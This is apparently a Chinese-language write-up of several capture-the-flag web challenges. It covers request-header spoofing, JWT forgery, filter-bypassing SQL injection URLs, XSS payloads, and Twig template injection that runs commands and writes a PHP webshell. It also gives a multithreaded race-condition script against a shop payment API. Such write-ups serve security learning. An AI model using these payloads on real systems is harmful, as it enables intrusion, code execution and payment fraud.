页面内有很多点我试试的按钮,只有一个是真的,能前往下一关,写个脚本跑一下
import requests
from lxml import etree
static_url = 'https://hgame-spider.vidar.club/f90e409178'
url = 'https://hgame-spider.vidar.club/f90e409178'
while True:
r = requests.get(url)
page_text = r.text
tree = etree.HTML(page_text)
a_list = tree.xpath('//a/@href')
for a in a_list:
if 'key' in a:
url = static_url + a
print(url)
游戏题(我都玩到3000分了,不给flag…)
f12查看源码,在checking.js中,有一大段的字符串
复制到浏览器控制台即可得到flag
知识点是请求头,像是在做脑筋急转弯。
想成为车神,你需要先去一趟秋名山(qiumingshan.net)
对应的是Referer头
;
只有借助AE86才能拿到车神通行证(Hachi-Roku)
对应的是User-Agent
;
86的副驾上应该放一盒树莓(Raspberry)味的曲奇
,曲奇的英文是cookie
,在burp中可以看到flavor被赋值为Strawberry,在Cookie
中改为树莓就OK了
汽油都不加,还想去秋名山?请加满至100
可以看到响应头中有一个Gasoline
的字段,值还是0,正好对应,改为100即可;
哪怕成了车神,也得让请求从本地发出来才能拿到 flag !
测试后发现X-Forwarded-For被过滤了,这里用X-Real-Ip
代替
请求数据包:
GET / HTTP/1.1
Host: shop.summ3r.top
Upgrade-Insecure-Requests: 1
User-Agent: Hachi-Roku
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: _ga=GA1.2.1804431598.1642747911; _gid=GA1.2.456031021.1642747912; __gads=ID=be8cc058554dbdc0-2276b9611cd000ab:T=1642747911:RT=1642747911:S=ALNI_MaQs35WcxJqwVO4UNwM_9mbckGBUw; flavor=Raspberry
Referer: qiumingshan.net
Connection: close
Gasoline: 100
X-Real-Ip: 127.0.0.1
题目中说了管理员是admin,且不需要爆破密码。注册一个用户名为shyshy
的账号,登录后抓包,发现http://whatadminisdoingwhat.mjclouds.com/v1/todo/list
接口中有一个token的字段,那么这题就是token伪造了。
将token在jwt.io解码
将ID改为1,UserName改为admin,就可以去提交了。
请求的数据包:
GET /v1/todo/list HTTP/1.1
Host: whatadminisdoingwhat.mjclouds.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJJRCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBob25lIjoiIiwiRW1haWwiOiIiLCJleHAiOjE2NDI4ODU2NTMsImlzcyI6Ik1KY2xvdWRzIn0.kTrNctpovamMaipqqrDTDUzc9aSMH_qFcQd6oilC8Sc
Accept: */*
Origin: http://adminisdoingwhat.mjclouds.com
Referer: http://adminisdoingwhat.mjclouds.com/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
直接百度,看到一篇文章:webpack带来的安全风险,里面说到webpack如果没有正确配置,就会导致vue源码泄漏,并给出一张浏览器控制台的截图,这题也是同理,f12打开控制台,发现flag存储的文件
YUdkaGJXVjdSREJ1ZEY5bU1ISTVaWFJmTWw5RGJFOXpNMTlUTUhWeVkyVmZiVUJ3ZlE9PQo=
两次base64解码得到flag
hgame{D0nt_f0r9et_2_ClOs3_S0urce_m@p}
打开url后看到hint:index.php?id=1
,那么考的是sql注入。刚开始试了半天没效果,后来发现注入点在报错页面上
http://121.43.141.153:60056/error.php?code=404
fuzz了一下,过滤了or|and|select|=|/**/|空格|from|where|union
,但是可以用双写绕过,等于号用like
替代。
库名:pokemon
表名:fllllllllaaaaaag
http://121.43.141.153:60056/error.php?code=-404/*/**/*/ununionion/*/**/*/selselectect/*/**/*/1,group_concat(table_name)/*/**/*/frofromm/*/**/*/infoorrmation_schema.tables/*/**/*/whwhereere/*/**/*/table_schema/*/**/*/like/*/**/*/database()#
列名:flag
http://121.43.141.153:60056/error.php?code=-404/*/**/*/ununionion/*/**/*/selselectect/*/**/*/1,group_concat(column_name)/*/**/*/frofromm/*/**/*/infoorrmation_schema.columns/*/**/*/whwhereere/*/**/*/table_name/*/**/*/like/*/**/*/'fllllllllaaaaaag'#
flag:hgame{C0n9r@tul4tiOn*Y0u$4r3_sq1_M4ST3R#}
http://121.43.141.153:60056/error.php?code=-404/*/**/*/ununionion/*/**/*/selselectect/*/**/*/1,group_concat(flag)/*/**/*/frofromm/*/**/*/fllllllllaaaaaag#
先看它给的模版网页,里面有js代码定义了两个变量。公众号的主要功能是将用户输入的文本在网站中以留言框的形式展现出来,那么这就说明是可以执行js代码的,试着将所有变量提取到文本区。
<img src=1 onerror="document.getElementsByClassName('content')[0].innerText=Object.keys(window)">
得到所有变量,读取最后的F149_is_Here
即可
<img src=1 onerror="document.getElementsByClassName('content')[0].innerText=F149_is_Here">
flag
hgame{Xs5_1s_so_int3Restin9!Var_is_0uT_of_d4te}
点击去百度后,会将url里的内容回显在网页上,试了下{{7*7}}
,回显49,说明存在模版注入。在源码里发现/vendor/composer/installed.json
,用的是symfony框架,最后发现它的模板是Twig。
在亲兄弟的提醒下看到了这篇文章。
使用他的payload
?url={{['id']|map('passthru')}}
执行命令成功,下面写访问即可
?url={{{"$_POST['a']);?>":"/var/www/html/haha.php"}|map("file_put_contents")}}
这题的考点应该是条件竞争吧,登录后购买flag需要10000块钱,但是我们只有9999块钱,差一块钱。点击创建订单,会在订单中出现一个待支付的订单,点击支付,系统会扣除相应的余额,并显示出删除按钮,点击删除按钮可以取消已经购买的订单。
我的做法是用多线程同时去创建flag和徽章的订单,并支付一些徽章的钱,有些徽章的订单在支付后会因为请求过快,而不扣款,然后再删除
一些订单,最终余额会超过10000元,就能兑换flag
import requests
from threading import Thread
from time import sleep
create_url = 'http://f2c3c3d986.vidar-shop.mjclouds.com/api/order/create'
pay_url = 'http://f2c3c3d986.vidar-shop.mjclouds.com/api/pay/create'
list_url = 'http://f2c3c3d986.vidar-shop.mjclouds.com/api/order/list'
flag_create_url = 'http://f2c3c3d986.vidar-shop.mjclouds.com/api/pay/create'
list_data = {'uid': 444}
create_data = {'uid': 444, 'pid': 5, 'amount': 1, 'status': 1}
flag_data = {'uid': 444, 'oid': 38289, 'amount': 10000}
header = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36',
'Authorization': 'bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NDQ0NTg5NzIsImlhdCI6MTY0NDM3MjU3MiwidWlkIjo0NDR9.xyFg5gOl3AquBF9Vcs83IKRHsb7Rx_5mq0gJA1LIiKA',
'Connection': 'keep-alive'
}
# 创建并支付徽章订单
def post_1():
sess = requests.session()
# 创建
create_r = sess.post(create_url, headers=header, json=create_data)
# 获取订单oid
list = sess.post(list_url, headers=header, json=list_data)
oid = list.json()[-1]['id']
# 支付
pay_data = {'uid': 444, 'oid': oid, 'amount': 20}
pay_r = sess.post(pay_url, headers=header, json=pay_data)
sleep(0.1)
def post_flag():
sess = requests.session()
flag_r = sess.post(flag_create_url, headers=header, json=flag_data)
print(flag_r.text)
sleep(0.1)
if __name__ == '__main__':
while True:
t1 = Thread(target=post_1)
t1.start()
t2 = Thread(target=post_flag)
t2.start()
flag
hgame{851ba5dee7d5afbcacfb1c99f0ea5c5cb88a6f62e1796d4d0949061184d03fa5}